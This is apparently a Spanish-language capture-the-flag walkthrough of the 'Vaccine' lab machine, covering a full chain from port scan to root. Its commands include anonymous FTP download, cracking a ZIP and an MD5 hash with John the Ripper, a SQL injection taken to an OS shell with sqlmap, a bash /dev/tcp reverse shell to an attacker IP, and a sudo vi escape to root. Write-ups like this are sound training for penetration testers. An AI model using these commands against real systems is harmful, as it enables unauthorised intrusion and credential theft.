Vaccine

nmap -p- --min-rate 1000 -oA nmap/allports 10.129.64.156

21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Los mismos tres de Cap. ttl=63 apunta a Linux (pista, no prueba). SSH pide credenciales (cerrado por ahora), HTTP es la web. Pero antes de la web, el puerto 21 (FTP) pide un chequeo obligatorio.

Entrar y bajar el backup

ftp 10.129.64.156
# usuario: anonymous · contraseña: (Enter, vacía)
ftp> ls              # -> backup.zip
ftp> binary          # modo binario, para que el zip no se corrompa
ftp> get backup.zip
ftp> bye

El 230 Login successful confirma el acceso anónimo. Dentro hay un backup.zip. Un "backup" es de lo más goloso: suele guardar código, configuraciones o credenciales.

El ZIP está protegido: crackearlo

Al abrirlo pide contraseña. Mismo problema que un hash, misma solución: extraer la parte crackeable y romperla offline con diccionario. La herramienta es zip2john (de la suite John the Ripper).

zip2john backup.zip > zip.hash
john --wordlist=/usr/share/wordlists/rockyou.txt zip.hash   # -> 741852963

Abrir el ZIP

unzip backup.zip   # contraseña: 741852963  ·  contiene index.php y style.css

El backup.zip era una copia del sitio (index.php = la página de login). Leyendo el código aparece la comprobación del login:

cat index.php
# ...
if($_POST['username'] === 'admin' &&
   md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") { ...

Usuario admin, y la contraseña guardada como hash MD5. Segunda vez en esta máquina que aplicamos el mismo reflejo: hash a la vista, se crackea offline. A john conviene decirle el tipo (Raw-MD5), porque un MD5 pelado se parece a varios formatos.

echo '2cb42f8734ea607eefed3b70af13bbd3' > md5.hash
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt md5.hash   # -> qwerty789

Credenciales del panel: admin / qwerty789. El código también decía que un login correcto redirige a dashboard.php: hay un panel detrás.

Confirmar a mano (una comilla)

Entra al panel (admin / qwerty789) y verás el "MegaCorp Car Catalogue" con un buscador. El test más básico de SQLi es meter una comilla simple y ver si la consulta se rompe:

búsqueda:  '
ERROR: unterminated quoted string at or near "'"
LINE 1: Select * from cars where name ilike '%'%'

Ese error lo confirma todo: tu texto entra crudo en la consulta (tu comilla cerró la cadena antes de tiempo), y el formato del error delata el motor: PostgreSQL. La búsqueda viaja por GET en dashboard.php?search=.

Explotar con sqlmap

Confirmada la vulnerabilidad a mano, se automatiza con sqlmap. Necesita la URL, el parámetro, y tu cookie de sesión (el panel requiere login; sin la cookie, sqlmap vería el login). La cookie PHPSESSID se saca de las DevTools del navegador (F12 → Storage → Cookies).

sqlmap -u "http://10.129.64.156/dashboard.php?search=Elixir" \
       --cookie="PHPSESSID=TU_COOKIE" --batch

sqlmap confirma la inyección con varias técnicas (boolean, error, stacked, time-based) y detecta PostgreSQL sobre Ubuntu. Con eso validado, viene la joya.

sqlmap -u "http://10.129.64.156/dashboard.php?search=Elixir" \
       --cookie="PHPSESSID=TU_COOKIE" --batch --os-shell
# current user is DBA -> 1  ·  os-shell> whoami -> postgres

Reverse shell desde la os-shell

La os-shell> funciona pero es lenta y no interactiva. Se usa solo para dar el salto a una shell propia, con la reverse shell de siempre (netcat a la escucha, la víctima llama de vuelta a tu IP y puerto).

# en Kali:
nc -lvnp 4444
# en la os-shell> :
bash -c 'bash -i >& /dev/tcp/10.10.14.33/4444 0>&1'

Cae la conexión como postgres@vaccine. Foothold conseguido vía la SQLi.

Buscar la user flag y las credenciales

postgres es un usuario de servicio; su flag está en su home. Y el código del dashboard, que se conecta a la base de datos, guarda la contraseña en claro:

cat /var/lib/postgresql/user.txt   # user flag
cat /var/www/html/dashboard.php
# pg_connect("host=localhost ... user=postgres password=P@s5w0rd!")

La vía limpia: SSH como postgres

Como P@s5w0rd! es la contraseña de la cuenta postgres, en vez de pelear con la reverse shell conviene entrar por SSH, que da una terminal de verdad desde el principio (clave para el paso siguiente):

ssh postgres@10.129.64.156   # contraseña: P@s5w0rd!

Ver qué permite sudo

sudo -l
# (ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf

El escape a root

Abre vi con el comando exacto autorizado y, dentro del editor, escapa a una shell:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# si avisa de un swap file previo: pulsa la tecla 'e' (Edit anyway)
# dentro de vi, en modo normal, escribe:
:!/bin/bash
# el prompt pasa a #  ·  whoami -> root
cat /root/root.txt   # root flag

Una reverse shell no es una terminal "de verdad": le falta un TTY. Sin él, cosas interactivas como su, ssh o el escape de vi se caen con errores tipo no job control o Inappropriate ioctl for device. Estabilizar el TTY es el paso que lo arregla.

Estabilización completa de TTY

# 1) en la reverse shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2) pulsa Ctrl+Z  (suspende la shell, vuelves a Kali)
# 3) en Kali:
stty raw -echo; fg
# 4) pulsa Enter un par de veces
# 5) da contexto al terminal:
export TERM=xterm

Contraseñas sin terminal: sudo -S

Si sudo se queja de a terminal is required to read the password, puedes pasarle la contraseña por la entrada estándar con -S (aunque para un comando interactivo como vi igual necesitarás TTY):

echo 'P@s5w0rd!' | sudo -S -l